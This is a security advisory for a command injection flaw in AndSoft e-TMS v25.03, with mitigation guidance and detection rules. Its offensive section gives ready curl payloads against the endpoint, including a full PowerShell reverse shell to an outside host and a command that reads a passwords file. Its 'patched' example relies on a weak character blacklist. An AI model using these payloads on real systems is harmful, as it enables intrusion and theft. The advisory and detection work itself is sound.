CVE-2025-59740

Executive Summary

CVE-2025-59740 is a critical operating system command injection vulnerability in AndSoft's e-TMS (Transport Management System) version v25.03. The flaw resides in the /clt/LOGINFRM_CAT.ASP endpoint, specifically within the m parameter of POST requests. An unauthenticated attacker can inject arbitrary OS commands, leading to full server compromise, data exfiltration, or lateral movement within the network. No official patch has been released, and the vulnerability is publicly documented with proof-of-concept details.

Note: This is a custom enterprise application, not an NPM, PyPI, Go, or Ruby package. Supply chain package security is not applicable.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, based on the vulnerability characteristics, a reasonable assessment is:

• Attack Vector (AV): Network (N) – exploitable remotely.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): None (N) – no authentication needed.
• User Interaction (UI): None (N) – no user action required.
• Scope (S): Unchanged (U) – vulnerable component and impacted component are the same.
• Confidentiality (C): High (H) – full file read possible.
• Integrity (I): High (H) – full system modification possible.
• Availability (A): High (H) – service disruption possible.

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical. Immediate action required.

Deep Dive & Mechanics

The vulnerability is a classic OS command injection in an ASP application. The m parameter in the POST request to /clt/LOGINFRM_CAT.ASP is passed unsanitized to a system shell function (e.g., WScript.Shell or Shell.Application in classic ASP). The application likely constructs a command string like:

cmd.exe /c some_command " & [user_input] & "

By injecting shell metacharacters (e.g., ;, |, &, `), an attacker can break out of the intended command and execute arbitrary OS commands.

Root Cause: Lack of input validation and improper use of shell execution functions. The application does not escape or validate the m parameter before passing it to a command interpreter.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable pattern.

Vulnerable Code (Conceptual ASP):

<%
Dim cmd, result
cmd = "ping -n 1 " & Request.Form("m")
Set shell = CreateObject("WScript.Shell")
result = shell.Exec(cmd).StdOut.ReadAll()
Response.Write result
%>

Patched Code (Conceptual):

<%
Dim cmd, result, input
input = Request.Form("m")
' Validate input: allow only alphanumeric and specific safe characters
If Not IsValidInput(input) Then
    Response.Write "Invalid input"
    Response.End
End If
' Use parameterized API or escape shell metacharacters
cmd = "ping -n 1 " & EscapeShellArg(input)
Set shell = CreateObject("WScript.Shell")
result = shell.Exec(cmd).StdOut.ReadAll()
Response.Write result

Function EscapeShellArg(str)
    ' Replace dangerous characters
    str = Replace(str, "&", "")
    str = Replace(str, "|", "")
    str = Replace(str, ";", "")
    str = Replace(str, "`", "")
    str = Replace(str, "$", "")
    str = Replace(str, "(", "")
    str = Replace(str, ")", "")
    EscapeShellArg = str
End Function

Function IsValidInput(str)
    ' Implement strict whitelist validation
    Dim regex
    Set regex = New RegExp
    regex.Pattern = "^[a-zA-Z0-9\s\-_\.]+$"
    IsValidInput = regex.Test(str)
End Function
%>

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Deploy a vulnerable instance of AndSoft e-TMS v25.03 in an isolated VM.
2. Ensure the /clt/LOGINFRM_CAT.ASP endpoint is accessible.

Exploitation Steps:

1. Basic Command Injection:

   curl -X POST "http://target.com/clt/LOGINFRM_CAT.ASP" \
   -d "m=127.0.0.1 & whoami"
   

2. Reverse Shell (Windows target):

   curl -X POST "http://target.com/clt/LOGINFRM_CAT.ASP" \
   -d "m=127.0.0.1 & powershell -NoP -NonI -W Hidden -Exec Bypass -Command \"$client = New-Object System.Net.Sockets.TCPClient('10.0.0.1',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\""
   

3. Data Exfiltration:

   curl -X POST "http://target.com/clt/LOGINFRM_CAT.ASP" \
   -d "m=127.0.0.1 & type C:\Users\Administrator\Desktop\passwords.txt"
   

Blue Team (Defensive)

Detection & Response:

1. Monitor POST requests to /clt/LOGINFRM_CAT.ASP with unusual m parameter values containing shell metacharacters (;, |, &, `, $).
2. Enable Web Application Firewall (WAF) rules to block command injection patterns.
3. Audit server logs for unexpected process creation (e.g., cmd.exe, powershell.exe) originating from the IIS worker process.
4. Implement network segmentation to limit lateral movement from the e-TMS server.
5. Deploy endpoint detection and response (EDR) with behavioral analytics for command-line anomalies.

Indicators of Compromise (IOCs)

Detection Engineering

YARA Rule

rule CVE_2025_59740_Command_Injection {
    meta:
        description = "Detects command injection attempts targeting AndSoft e-TMS /clt/LOGINFRM_CAT.ASP"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-59740"
        severity = "critical"
    strings:
        $post_method = "POST" nocase
        $target_path = "/clt/LOGINFRM_CAT.ASP" nocase
        $param_m = "m=" nocase
        $shell_meta1 = "&" ascii
        $shell_meta2 = "|" ascii
        $shell_meta3 = ";" ascii
        $shell_meta4 = "`" ascii
        $shell_meta5 = "$" ascii
    condition:
        $post_method and $target_path and $param_m and
        any of ($shell_meta*)
}

Sigma Rule

title: CVE-2025-59740 - AndSoft e-TMS Command Injection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects command injection attempts via POST to /clt/LOGINFRM_CAT.ASP
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-59740
logsource:
    category: webserver
    product: iis
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/clt/LOGINFRM_CAT.ASP'
        cs-uri-query|contains: 'm='
    keywords:
        - '&'
        - '|'
        - ';'
        - '`'
        - '$'
    condition: selection and keywords
falsepositives:
    - Legitimate use of special characters in input (unlikely)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-59740 - AndSoft e-TMS Command Injection Attempt"; flow:to_server; content:"POST"; http_method; content:"/clt/LOGINFRM_CAT.ASP"; http_uri; content:"m="; http_client_body; pcre:"/(?:[&|;`$])/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the e-TMS server from the internet and critical internal networks.
2. Apply virtual patching via WAF rules to block command injection patterns.
3. Disable the vulnerable endpoint if possible, or restrict access via IP whitelisting.

Long-Term Fixes:

1. Contact AndSoft for an official patch or upgrade to a non-vulnerable version.
2. Rewrite the vulnerable ASP page to use parameterized APIs and strict input validation.
3. Conduct a full security audit of the e-TMS application for similar vulnerabilities.
4. Implement a secure development lifecycle (SDLC) with regular penetration testing.

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